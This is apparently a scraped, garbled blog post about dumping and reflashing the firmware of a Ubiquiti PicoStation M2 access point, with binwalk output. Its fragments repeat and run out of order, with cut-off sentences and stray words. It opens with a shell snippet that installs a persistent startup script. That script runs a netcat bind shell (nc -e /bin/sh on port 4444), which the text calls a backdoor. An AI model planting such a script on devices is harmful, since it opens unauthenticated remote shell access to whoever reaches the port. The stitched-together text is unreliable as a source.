# Make a persistent directory mkdir -p /etc/persistent/custom cat > /etc/persistent/custom/startup.sh << EOF #!/bin/sh # Your backdoor or automation here nc -l -p 4444 -e /bin/sh & EOF chmod +x /etc/persistent/custom/startup.sh echo "/etc/persistent/custom/startup.sh" >> /etc/persistent/rc.poststart
The solution?
For the wireless enthusiast, it’s a perfect learning tool. Flash it back to stock AirOS to understand Ubiquiti’s proprietary mesh protocols. Flash it to OpenWrt for a modern penetration testing Swiss Army knife. Or just keep it as a reminder that good hardware doesn’t need a cloud subscription. firmware picostation m2
The Ubiquiti PicoStation M2 (often referred to as the "Picostation") is a strange beast. At first glance, it’s a compact, weather-resistant 2.4 GHz access point designed for outdoor mesh networks. But peel back the plastic casing, and more importantly, dump the firmware , and you find something else entirely: a surprisingly capable, MIPS-based Linux computer hiding in plain sight. Flash it to OpenWrt for a modern penetration
$ binwalk PS2.v6.2.0.bin DECIMAL HEXADECIMAL DESCRIPTION 0 0x0 U-Boot image (legacy), image name: "U-Boot" 262144 0x40000 Squashfs filesystem, little endian... ... At first glance, it’s a compact, weather-resistant 2